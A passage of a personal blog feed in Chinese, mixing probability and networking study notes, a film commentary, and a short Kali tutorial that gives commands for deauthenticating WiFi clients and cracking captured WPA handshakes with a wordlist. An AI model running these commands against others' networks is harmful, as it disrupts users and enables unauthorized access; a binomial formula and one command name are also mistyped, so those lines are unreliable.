title=\"多维随机变量\"\u003e\u003c/a\u003e多维随机变量\u003c/h2\u003e\u003cp\u003e也称为随机向量,是由多个随机变量构成的向量。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e后面再写\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/"},{"title":"流浪地球2观影小记","time":"2023-02-02T09:12:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e刚才回想的时候,对2的几个细节有一些猜测。稍微整理一下思路吧。我尽量猜的贴近电影原剧情一点(\u003c/p\u003e\u003cp\u003e1.2075木星危机后,moss或许已经寄了?\u003c/p\u003e\u003cp\u003e首先是隔离计划:出现在片尾ed前,内容是把AI全部转移到领航者号国际空间站上,同时AI决策都要经过联合国审核。名义上是转移AI帮助建设,实际感觉有和重要系统(地球发动机控制中心)切割的意图。\u003c/p\u003e\u003cp\u003e因为球2里边,控制中心应该是在建的状态,因为那时(2058)发动机专用网络尚未完成,得依赖互联网根服务器才能并网点火。而且字母也写的很清楚,那个控制中心是临时的。所以这“切割”确实有道理:网络尚未完成,先把moss丢远点防着它再搞事(×)。毕竟周复盘2058一定会疑惑:月1发动机咋炸的。根据周掌握的信息,他可能是有意识切割AI到空间站的。\u003c/p\u003e\u003cp\u003e其次:1的最后领航者号炸的只剩下个休眠仓了\u003c/p\u003e\u003cp\u003e不过有一个问题我想不通,就是2的ed后彩蛋:moss提到了2078氦闪危机,这和我的猜测矛盾。我本身不太能认可时间可逆转的设定\u003c/p\u003e\u003cp\u003e不过向过去用中微子发信我不知道有没有可能,因为在片尾,DUDE中微子实验室于2065年收到了2075木星危机的告警。但是我还是倾向于都是它干的,只不过它提前10年通知了\u003c/p\u003e\u003cp\u003e2.彩蛋情节发生在何时?\u003c/p\u003e\u003cp\u003e片尾ed一转拆红包(是新年元素(确信))出来2075预告。看背景也有点像空间站。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/02/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%B5%81%E6%B5%AA%E5%9C%B0%E7%90%832%E8%A7%82%E5%BD%B1%E5%B0%8F%E8%AE%B0/"},{"title":"常用分布的期望和方差","time":"2023-01-30T19:24:43Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e分布\u003c/th\u003e\u003cth\u003e分布律/概率密度\u003c/th\u003e\u003cth align=\"center\"\u003e数学期望\u003c/th\u003e\u003cth align=\"center\"\u003e方差\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0-1分布\u003c/td\u003e\u003ctd\u003e$p(x=k)=p^k(1-p)^{1-k},k=0,1$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e二项分布$B(n,p)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=C_n^kp^k(1-p)^{1-k}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e泊松分布$P(\\lambda)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=\\frac{\\lambda^ke^{-\\lambda}}{k!}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e均匀分布$U(a,b)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{b-a},(a\\lt x\\lt b)$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{a+b}{2}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{(b-a)^2}{12}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e正态分布$N(\\mu,\\sigma^2)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\sigma^2$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e指数分布$E(\\theta)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\theta e^{-\\theta x},x\\gt 0; 0, other$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta^2}$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/30/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E5%B8%B8%E7%94%A8%E5%88%86%E5%B8%83%E7%9A%84%E6%9C%9F%E6%9C%9B%E5%92%8C%E6%96%B9%E5%B7%AE/"},{"title":"基于Kali的WiFi攻击","time":"2023-01-28T08:30:04Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e仅限于合法用途,责任自负\u003cbr/\u003eLegal purpose only, do it at your own risk.\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003col\u003e\u003cli\u003e检查网卡情况\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在终端输入 \u003ccode\u003eifconfig\u003c/code\u003e , 如果看到 \u003ccode\u003ewlan0\u003c/code\u003e , 就进行下一步。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e启动监控模式\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e用下面的命令启动设备:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earimon-ng start wlan0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在\u003ccode\u003eifconfig\u003c/code\u003e的输出中,你就能看到名叫\u003ccode\u003ewlan0mon\u003c/code\u003e的设备。然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e来启动监听。用下面的指令停止监听:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairmon-ng stop wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"断网攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E6%96%AD%E7%BD%91%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"断网攻击\"\u003e\u003c/a\u003e断网攻击\u003c/h2\u003e\u003cp\u003e扫出来目标设备之后,用\u003ccode\u003ectrl+c\u003c/code\u003e停止扫描,然后再开个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaireplay-ng -0 0 -a [BSSID] wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后回来这个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng -c [CH] --bssid [BSSID] -w ~/ wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后连接那个路由器WiFi的设备应该就会断联了。\u003c/p\u003e\u003ch2 id=\"破解密码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81\" class=\"headerlink\" title=\"破解密码\"\u003e\u003c/a\u003e破解密码\u003c/h2\u003e\u003cp\u003e当你捕捉到这样的握手包 \u003ccode\u003eWPA handshake: [PACKAGE]\u003c/code\u003e时, \u003ccode\u003eCtrl+c\u003c/code\u003e停止指令\u003c/p\u003e\u003cp\u003e然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaircrack-ng -a2 -b [PACKAGE] -w [PATH-TO-PASS-DICTIONARY] ~/*.\u003cspan class=\"built_in\"\u003ecap\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eKali的自带字典一般在这: \u003ccode\u003e/fs/usr/share/wordlists/rockyou.txt.gz\u003c/code\u003e. 解压,然后把\u003ccode\u003erockyou.txt\u003c/code\u003e的路径替换到上边,回车。然后应该就能获取到密码了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/"},{"title":"计算机网络笔记","time":"2023-01-27T15:07:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-3-数据和信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-3-%E6%95%B0%E6%8D%AE%E5%92%8C%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"Chap.3.数据和信号\"\u003e\u003c/a\u003eChap.3.数据和信号\u003c/h2\u003e\u003ch3 id=\"模拟和数字\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%92%8C%E6%95%B0%E5%AD%97\" class=\"headerlink\" title=\"模拟和数字\"\u003e\u003c/a\u003e模拟和数字\u003c/h3\u003e\u003cul\u003e\u003cli\u003e信息 要传输的,被人理解的内容\u003c/li\u003e\u003cli\u003e数据 对个人/程序有用,可以用信号表示\u003c/li\u003e\u003cli\u003e信号 物理层面的概念。可以用模拟和数字两种形式\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号的描述方式我们已经很熟悉了,就是频率,周期,相位之类的指标,再加上频域特征的表示。\u003c/p\u003e\u003ch3 id=\"带宽\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%B8%A6%E5%AE%BD\" class=\"headerlink\" title=\"带宽\"\u003e\u003c/a\u003e带宽\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e带宽\u003c/strong\u003e:就是复合信号包含的频率范围\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e信噪比\u003c/strong\u003e:定义是$\\frac{\\text{信号能量}}{\\text{噪波能量}}$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e比特率\u003c/strong\u003e:1秒发送的位数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通道有两种类型:\u003cstrong\u003e低通通道(频率下限从0开始)和带通通道(从非0频率开始)\u003c/strong\u003e。同时,数字信号传输方式有两种:\u003cstrong\u003e基带传输和宽带传输\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e基带传输:借助一个低通通道,将信号直接传输。但是数字信号是带宽无穷的复合模拟信号,因此这种方式在现实中总会存在失真。\u003cul\u003e\u003cli\u003e所需带宽和比特率成正比;想发送地更快,就需要更大的带宽\u003c/li\u003e\u003cli\u003e要以1Mbps速率发送数据,最小带宽是1/2=500KHz。如果用到N次谐波,则再乘以N得到所需带宽。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e宽带传输(使用调制):使用带通通道时,只能使用这种方法发送数字信号。它在发送前将数字信号转换成模拟信号。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"传输减损\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E5%87%8F%E6%8D%9F\" class=\"headerlink\" title=\"传输减损\"\u003e\u003c/a\u003e传输减损\u003c/h3\u003e\u003cp\u003e三种类型:\u003cstrong\u003e衰减、失真和噪声\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"数据速率限制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E6%8D%AE%E9%80%9F%E7%8E%87%E9%99%90%E5%88%B6\" class=\"headerlink\" title=\"数据速率限制\"\u003e\u003c/a\u003e数据速率限制\u003c/h3\u003e\u003cp\u003e受制于\u003cstrong\u003e有效带宽、使用的信号电平数、通道的质量(噪声电平)\u003c/strong\u003e 这三个因素。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奈奎斯特定理:无噪通道时,理论最大比特率为$2\\times\\text{带宽}\\times log_2L$,其中$L$是电平数。\u003c/li\u003e\u003cli\u003e香农定理:有噪声通道的理论容量为$\\text{带宽}\\times log_2(1+SNR)$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e香农容量定理给出数据速率的上限,奈奎斯特公式给出所需的信号电平数。\u003c/p\u003e\u003ch3 id=\"性能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%80%A7%E8%83%BD\" class=\"headerlink\" title=\"性能\"\u003e\u003c/a\u003e性能\u003c/h3\u003e\u003cul\u003e\u003cli\u003e吞吐量=$frame*bits/time$,表示单位时间内成功传输的数据量\u003c/li\u003e\u003cli\u003e延迟:有四个组成要素:传播时间、传输时间、排队时间、处理延迟\u003cul\u003e\u003cli\u003e传播时间:传输一个bit从原到目标的时间,取决于物理速度\u003c/li\u003e\u003cli\u003e延迟:传播延迟+传输时间+排队时间+处理延迟\u003c/li\u003e\u003cli\u003e传播延迟:距离/传播速度\u003c/li\u003e\u003cli\u003e传输时间:报文长度/传输速度\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e带宽延迟积:$\\text{带宽}\\times\\text{延迟}$,定义了能充满链路的位数\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-4-数字传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-4-%E6%95%B0%E5%AD%97%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.4.数字传输\"\u003e\u003c/a\u003eChap.4.数字传输\u003c/h2\u003e\u003ch3 id=\"数字到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E5%AD%97%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"数字到数字转换\"\u003e\u003c/a\u003e数字到数字转换\u003c/h3\u003e\u003ch4 id=\"线路编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线路编码\"\u003e\u003c/a\u003e线路编码\u003c/h4\u003e\u003cp\u003e这是将数据转数字信号的技术。它将数字元素编码为信号元素,根据\u003cstrong\u003e每个信号元素承载的数字元素数量,我们定义比率r\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e数据速率和信号速率的关系如下:$S=c\\frac{N}{r} (baud)$。其中N是数据速率,S是信号元素数量,r是信号元素的数据元素承载量。\u003c/p\u003e\u003cp\u003e线路编码会遇到几个问题:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基线偏移:接收到信号的平均功率(基线)在接收一长串0/1时,会产生偏移,不利于解码。\u003c/li\u003e\u003cli\u003e直流成分:长时间0/1时,会产生很低的频率成分,会给不允许低频/使用电耦合的系统带来问题。\u003c/li\u003e\u003cli\u003e自同步:接收/发送的间隔必须严格对应。长1/0可能会引起失去同步(不知道到底连续发送了几个连续的0/1)。\u003c/li\u003e\u003cli\u003e内置差错检测\u003c/li\u003e\u003cli\u003e抗干扰抗噪声能力\u003c/li\u003e\u003cli\u003e复杂性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"线路编码方案\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81%E6%96%B9%E6%A1%88\" class=\"headerlink\" title=\"线路编码方案\"\u003e\u003c/a\u003e线路编码方案\u003c/h4\u003e\u003cp\u003e主要是这几种\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609210936.png\"/\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eNRZ:不归零编码,它有N/2的信号速率,但是有DC成分问题\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211704.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e1. NRZ-L:电平决定值,0是正电平,1是负电平2. NRZ-I:下一位是1则反相,0则不反相\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\u003cli\u003eRZ编码:三个值的编码,它的方式如下所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211836.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点是占用带宽大,以及实现复杂。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e双相-曼彻斯特编码:\u003col\u003e\u003cli\u003e普通版本:周期中点跳变,如下图。\u003c/li\u003e\u003cli\u003e差分版本:下一位是1就不反相,是0则反相。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609212031.png\"/\u003e\u003c/p\u003e\u003cp\u003e它唯一的缺点是信号速率,是NRZ的两倍。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003eAMI\u003col\u003e\u003cli\u003eAMI(交替传号反转):传号就是1,所以意思是1交替用正负表示,0用0电平表示\u003c/li\u003e\u003cli\u003e伪三元编码:1是0电平,0是正负交替表示\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"模拟到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"模拟到数字转换\"\u003e\u003c/a\u003e模拟到数字转换\u003c/h3\u003e\u003ch3 id=\"传输模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"传输模式\"\u003e\u003c/a\u003e传输模式\u003c/h3\u003e\u003ch2 id=\"Chap-5-模拟传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-5-%E6%A8%A1%E6%8B%9F%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.5.模拟传输\"\u003e\u003c/a\u003eChap.5.模拟传输\u003c/h2\u003e\u003ch2 id=\"Chap-6-带宽利用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-6-%E5%B8%A6%E5%AE%BD%E5%88%A9%E7%94%A8\" class=\"headerlink\" title=\"Chap.6.带宽利用\"\u003e\u003c/a\u003eChap.6.带宽利用\u003c/h2\u003e\u003cp\u003e带宽利用是可用带宽的合理利用:\u003c/p\u003e\u003ch3 id=\"复用\"\u003e\u003ca 